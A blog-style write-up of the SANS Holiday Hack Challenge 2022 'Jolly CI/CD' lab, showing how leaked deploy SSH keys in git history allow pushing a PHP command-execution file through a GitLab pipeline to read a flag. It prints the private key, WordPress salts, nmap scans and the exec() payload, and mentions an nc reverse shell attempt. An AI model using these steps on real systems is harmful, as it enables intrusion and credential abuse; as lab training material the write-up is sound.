SANS holiday hack challenge 2022 - Jolly CI/CD Link to heading

Some colleagues shared a hacking challenge organized by SANS and I decided to give it a go. There were quite a lot of interesting challenges with varying difficulty but there was one that stand out named ‘Jolly CI/CD’. This is my write up for this challenge.

Information gathering Link to heading

Starting up this challenge we are greeted with a terminal that remind us the previous one from the same room, called ‘Prison Escape’. We can still become root with sudo -i but this time fdisk -l shows no information and after messing around with the container it looks like it’s not possible to escape.

After speaking with ‘Tinsel Upatree’ we get a more clear idea of what our objectives are. As we are informed, Tinsel has set up a new CI/CD system where he can push changes and a Gitlab runner will pick them up and deploy them to production automatically. As he’s talking to us, he shares that the git repository is located at http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git.

Let’s try and clone this with

Success! It looks like we can successfully clone the repo and we can start digging around. Looking at the cloned folder

Info
grinchum-land:~/wordpress.flag.net.internal$ ls -lah total 236K drwxr-xr-x 6 samways users 4.0K Dec 25 19:05 . drwxr-xr-x 1 samways 1002 4.0K Dec 25 19:05 .. drwxr-xr-x 8 samways users 4.0K Dec 25 19:05 .git -rw-r–r– 1 samways users 258 Dec 25 19:05 .gitlab-ci.yml -rw-r–r– 1 samways users 405 Dec 25 19:05 index.php -rw-r–r– 1 samways users 20K Dec 25 19:05 license.txt -rw-r–r– 1 samways users 7.3K Dec 25 19:05 readme.html -rw-r–r– 1 samways users 7.0K Dec 25 19:05 wp-activate.php drwxr-xr-x 9 samways users 4.0K Dec 25 19:05 wp-admin -rw-r–r– 1 samways users 351 Dec 25 19:05 wp-blog-header.php -rw-r–r– 1 samways users 2.3K Dec 25 19:05 wp-comments-post.php -rw-r–r– 1 samways users 3.0K Dec 25 19:05 wp-config-sample.php -rw-r–r– 1 samways users 5.6K Dec 25 19:05 wp-config.php drwxr-xr-x 6 samways users 4.0K Dec 25 19:05 wp-content -rw-r–r– 1 samways users 3.9K Dec 25 19:05 wp-cron.php drwxr-xr-x 26 samways users 12K Dec 25 19:05 wp-includes -rw-r–r– 1 samways users 2.5K Dec 25 19:05 wp-links-opml.php -rw-r–r– 1 samways users 3.9K Dec 25 19:05 wp-load.php -rw-r–r– 1 samways users 48K Dec 25 19:05 wp-login.php -rw-r–r– 1 samways users 8.4K Dec 25 19:05 wp-mail.php -rw-r–r– 1 samways users 24K Dec 25 19:05 wp-settings.php -rw-r–r– 1 samways users 32K Dec 25 19:05 wp-signup.php -rw-r–r– 1 samways users 4.8K Dec 25 19:05 wp-trackback.php -rw-r–r– 1 samways users 3.2K Dec 25 19:05 xmlrpc.php

it’s clear that the hosted website is a Wordpress one. Since I’ve worked with Wordpress sites in the past, one file directly caught my attention: wp-config.php. This file is one of the most important ones and usually contains passwords for connecting to the SQL database.

Unfortunately, the variables are populated by the docker environment that the Wordpress site is running.

Info

define( ‘DB_NAME’, getenv_docker(‘WORDPRESS_DB_NAME’, ‘wordpress’) );

/** Database username */ define( ‘DB_USER’, getenv_docker(‘WORDPRESS_DB_USER’, ’example username’) );

/** Database password */ define( ‘DB_PASSWORD’, getenv_docker(‘WORDPRESS_DB_PASSWORD’, ’example password’) );

Looking a bit further down we can find the domain name of the Wordpress site:

Info
if(getenv_docker(‘WORDPRESS_ENV’, false)) { $url = “http://wordpress.flag.net.internal:8080”; } else { $url = “http://wordpress.flag.net.internal”; }

Since curl is available in the container, can make requests to the website but for now there is nothing interesting there.

Now, let’s have a look at the git history with git log in case there is something interesting there. Commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 has an interesting description: ‘whoops’!

Info

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh sporx@kringlecon.com Date: Tue Oct 25 13:42:54 2022 -0700

whoops

Using git diff abdea0ebb21b156c01f7533cea3b895c26198c98 e19f653bde9ea3de6af21a587e41e7a909db1ca5 --name-only shows us the files changed:

Info
.ssh/.deploy .ssh/.deploy.pub

It looks like Tinsel Upatree accidentally pushed his deploy ssh keys to the repository! Running again the above command without –name-only we can clearly see the private and public keys:

Tip

grinchum-land:~/wordpress.flag.net.internal$ git diff abdea0ebb21b156c01f7533cea3b895c26198c98 e19f653bde9ea3de6af21a587e41e7a909db1ca5

diff –git a/.ssh/.deploy b/.ssh/.deploy deleted file mode 100644 index 3f7a9e3..0000000 — a/.ssh/.deploy +++ /dev/null @@ -1,7 +0,0 @@ ——BEGIN OPENSSH PRIVATE KEY—– -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5 -9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g -AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot -PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ== ——END OPENSSH PRIVATE KEY—– diff –git a/.ssh/.deploy.pub b/.ssh/.deploy.pub deleted file mode 100644 index 8c0b43c..0000000 — a/.ssh/.deploy.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

Let’s copy the keys to our local .ssh folder:

Info
git checkout abdea0ebb21b156c01f7533cea3b895c26198c98 mkdir ~/.ssh/ cp .ssh/.deploy ~/.ssh/id_rsa cp .ssh/.deploy.pub ~/.ssh/id_rsa.pub chmod 600 ~/.ssh/*
and also change the permissions or else we’ll get some warning/error later when we’ll try to use them as the current ones are too broad.

So far, we haven’t discovered any attack vector to the Wordpress site but let’s summarize what we know:

  • The server url is http://wordpress.flag.net.internal
  • The server is using PHP since it’s running a Wordpress site
  • Tinsel Upatree pushed his private ssh key to the git repo

Using the above information one attack scenario is slowly formed: what if we could push updates to the git repo? Would it be possible to change PHP files or even create arbitrary ones and execute code on the remote server?

The last question is answered by looking at another important file, called .gitlab-ci.yml:

Info

grinchum-land:~/wordpress.flag.net.internal$ cat .gitlab-ci.yml stages:

  • deploy

deploy-job:
stage: deploy environment: production script: - rsync -e “ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy” –chown=www-data:www-data -atv –delete –progress ./ root@wordpress.flag.net.internal:/var/www/html

Whenever a change is pushed into the repository, GitLab Runner will run the script defined in this file which will copy the contents of the repo to the /var/www/html location on the production server.

Launching our attack Link to heading

Currently we cannot push changes to the git repo since the remote is using the http protocol:

and we’d want to use the ssh one (since we have the ssh keys). We can either change the remote with git remote set-url origin ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git or clone again using git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git.

Once the remote origin points to the correct url, we can create a simple php file that will list all the files in a directory using the exec PHP function:

<?
$var = "hi\n";
exec('ls -lah /root/ 2>&1', $var);
foreach($var as $val)
{
        echo $val;
        echo "\n";
}
?>

We create a new file called info.php, add the above code and push it to the repository:

Info
git config –global user.email “santa@northpole.com” git config –global user.name “Santa” git add info.php git commit -m “New secret file” git push origin

Once the file is pushed, we wait a few seconds and use curl to perform a GET request:

Tip
grinchum-land:~/wordpress.flag.net.internal$ curl wordpress.flag.net.internal/info.php total 84K drwxr-xr-x 2 root root 4.0K Sep 3 12:10 home drwxr-xr-x 2 root root 4.0K Sep 3 12:10 boot -rw-r–r– 1 www-data www-data 7.4K Oct 22 16:40 flag.txt

Aha! A file called flag.txt under the /root folder. Let’s change our PHP file to execute cat /flag.txt. Once we perform the same steps as before we can get our flag oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT.

Various information discovered Link to heading

While I was searching for a possible attack vector I came across a lot of interesting information which I will summarize below. I’m pretty sure that there are other ways to get the flag but due to limited time on my side and since there is a great lack of motivation from the moment I found the flag I won’t spend time to explore all of them.

Scanning the network with nmap Link to heading

Scanning the subnet 172.18.0.1/20 using nmap, yields some interesting results. First, we get a list of the hosts that are up and running

Info

Nmap scan report for 172.18.0.1 Host is up (0.000050s latency).

Nmap scan report for wordpress-db.local_docker_network (172.18.0.87) Host is up (0.000092s latency).

Nmap scan report for wordpress.local_docker_network (172.18.0.88) Host is up (0.000083s latency).

Nmap scan report for gitlab.local_docker_network (172.18.0.150) Host is up (0.000026s latency).

Nmap scan report for gitlab-runner.local_docker_network (172.18.1.149) Host is up (0.000018s latency).

Nmap scan report for postgresql.local_docker_network (172.18.1.200) Host is up (0.000044s latency).

Nmap scan report for redis.local_docker_network (172.18.2.87) Host is up (0.000044s latency).

and after scanning some of them a bit more thoroughly we can identify wich ports are open

Info

sudo nmap -p- 172.18.0.87 -sS

Nmap scan report for wordpress-db.local_docker_network (172.18.0.87) Host is up (0.0000080s latency).

PORT STATE SERVICE 3306/tcp open mysql

Sensitive information Link to heading

Once we checkout to the commit that contains the deploy ssh keys, if we look at the wp-config.php file, we can access some sensitive config information

Info
define( ‘AUTH_KEY’, getenv_docker(‘WORDPRESS_AUTH_KEY’, ‘828baa18284a5a7bfd11a00b872370c8ed403f3b’) ); define( ‘SECURE_AUTH_KEY’, getenv_docker(‘WORDPRESS_SECURE_AUTH_KEY’, ‘642534c3a9a10dde9d2837e1a3c940af3dca0893’) ); define( ‘LOGGED_IN_KEY’, getenv_docker(‘WORDPRESS_LOGGED_IN_KEY’, ‘2752181bd2e986d32448bd55beb4ac6c49a709f4’) ); define( ‘NONCE_KEY’, getenv_docker(‘WORDPRESS_NONCE_KEY’, ‘5bf27de94d31f288ae971b76b2281329c2bbdfee’) ); define( ‘AUTH_SALT’, getenv_docker(‘WORDPRESS_AUTH_SALT’, ‘fdc0ba7e8bf25d7197f4367f8fb81eb9ee79f5e8’) ); define( ‘SECURE_AUTH_SALT’, getenv_docker(‘WORDPRESS_SECURE_AUTH_SALT’, ‘760c60029c3867ea1f27011896c3dc5316d895cd’) ); define( ‘LOGGED_IN_SALT’, getenv_docker(‘WORDPRESS_LOGGED_IN_SALT’, ‘aa193eca87378d51d6e574fceb5120c92cd1349c’) ); define( ‘NONCE_SALT’, getenv_docker(‘WORDPRESS_NONCE_SALT’, ‘debed84d451729b0c0b316661ff8caf40875514a’) );

Altering the script in .gitlab-ci.yml Link to heading

In theory, it would be possible to alter the script or add our own in the .gitlab-ci.yml file and gain access to the server. Though, I found it pretty slow to try and test things this way and since there was no easy way to get feedback whenever I broke something I put this attack aside. Some things I tried were to copy the .ssh keys of the GitRunner container and create a reverse shell using nc.